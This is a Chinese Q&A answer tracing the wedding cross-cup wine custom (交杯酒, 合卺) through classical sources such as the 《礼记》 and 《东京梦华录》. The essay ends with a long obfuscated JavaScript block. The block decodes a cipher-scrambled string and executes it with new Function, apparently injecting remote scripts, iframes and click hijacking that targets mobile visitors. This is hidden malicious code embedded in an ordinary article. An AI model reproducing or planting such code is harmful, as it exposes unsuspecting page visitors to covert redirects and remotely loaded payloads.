推荐回答(1个)
刘玉凯/文今天的男女结婚都特别讲究仪式。在婚礼上少不了有个饮交杯酒的项目。一般说是男女各自倒酒入杯之后,两臂环套相勾,两眼对视,含情脉脉,在温情的交流中和亲友的笑声中一饮而尽。这是古代在洞房里举行的秘密活动,现代却是在婚礼大厅宴席上公开表演。严格地说,交杯酒是洞房内私下的事,新郎新娘结为永好,饮过这杯酒,也就表明一生不弃不离。现代人却什么都开放表演,大秀隐私,有点不伦不类。反正现代人也不怕离婚,离了也不过再饮一次交杯酒。是不是婚姻的不牢靠与饮酒的方式有点关系,我们应该好好地研究一番。
饮交杯酒的婚俗,《红楼梦》在第20回中就有。那是宝玉给麝月篦头,给进来拿钱的晴雯看见了,便冷笑道:“哦,交杯盏还没吃,倒上头了!”晴雯提到的“交杯盏”便是指新郎新娘饮的交杯酒。评剧《花为媒》中有两句唱:“饮过合欢酒,拜过喜神娘。”合欢酒其实便是交杯酒。
结婚要饮交杯酒由来很古,《礼记》纪录:“共牢而食,合卺而酳。”这“合卺”指的便是交杯酒。不过那饮酒的方式却与今天不同。
据我所知,标准的饮交杯酒,不是饮自己的酒,而是饮对方酒杯里的酒。交杯,就是交换酒杯而饮酒。其原因能够理解:只有最亲密的关系,才能彼此用对方的杯子饮酒。试想,在一般情况下你肯喝别人杯子里的水,吃别人碗里的饭吗?宋代王得臣《麈史》中记曰:“古者婚礼合卺,今也以双杯彩丝连足,鸳侣传饮,谓之交杯。”古代的酒杯是三足高脚的爵,就用彩色的丝带将杯子系上连接起来。表示一种情感上的联系。“传饮”就是你喝过了他再喝,不是只喝自己杯中的酒。
什么是“合卺”?这个词现在是很生疏的。是指新婚鸳侣在洞房之内共饮合欢酒。卺是特别的酒具“瓢”,就是把一个匏瓜剖成两半为瓢,新郎、新娘各拿一半这样的瓢,用以饮酒,就叫合卺,两只瓢以红线连柄,新郎新娘各拿一个饮酒,同饮一卺,象征婚姻将两人连为一体,也可以说是古人的“交杯酒”。此礼始于周代,鸳侣共饮合卺酒,不光象征鸳侣合二为一,自此已结永好,并且也含有让新娘新郎同甘共苦的深意。正如《礼记》所载:“以是合体,同尊卑,以亲之也。”
宋代以后,饮交杯酒是在“撒帐”以后举行,即用两杯酒以彩绸联结起来,然后新郎新娘交换酒杯饮酒,叫吃“交杯酒”,合卺之礼演变为新婚鸳侣共饮交杯酒。《东京梦华录·娶妇》纪录:新人“用两盏以彩结连之,互饮一盏,谓之交杯。饮讫,掷盏并花冠子干床下,盏一仰一合,谷云大吉,则众喜贺,然后掩帐讫。”
据宋代的记载,饮酒后把酒杯一仰一合放床下取吉利意。这种婚俗也是十分古老的。“交杯酒”原来叫做“合卺酒”,卺(音紧),是一个瓠分成的两个瓢,是古时婚礼中所用的酒器。《礼记》这是一本秦汉以前各种礼仪论著的选集,是儒家经典之一,《礼记·昏义》中便有记述:“共牢而食,合卺而醑。”唐代孔颖达疏曰:“以一瓠分为二瓢谓之卺,婿之与妇各执一片以醑。故云合卺而醑。”醑,用酒漱口之意。可见秦汉之际饮合卺酒几乎是在撒帐后举行“共牢”仪式时同时举行的。“牢”指“牲牢”,即指祭祀用的畜牲牛羊猪;所谓“同牢”、“共牢”,即是古代婚俗中在举行结婚仪式时新郎新娘必须同吃一盘牲牢,用以表示共同生活的开始,根据《礼记·昏义》的记载,在新郎新娘共牢而食时,才同时饮“合卺酒”。这种婚俗不仅盛行于秦汉,从魏晋南北朝到唐代,均在广泛传播,《魏书·临准王传·附元孝友》就说:“又夫妇之始,王化所先,共食合瓢,足以成礼。”我们在敦煌写本伯三二八四残缺书仪及伯三三五○《下女夫词》中,也看见了它同样的记载。根据这两卷唐代写本可见,敦煌民间婚俗在举行同牢时又有一套具体的新的仪式:“1.夫妻先各吃三口饭。2.然后由傧相与侍者喂食。3.再后饮“合卺杯”中酒。4.饮合卺酒前还有一个仪式,即新郎新娘还要以五色锦带将四脚连扎起来,表示从今以后双方共同奔前程将受到婚约与为人道德的约束。”
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();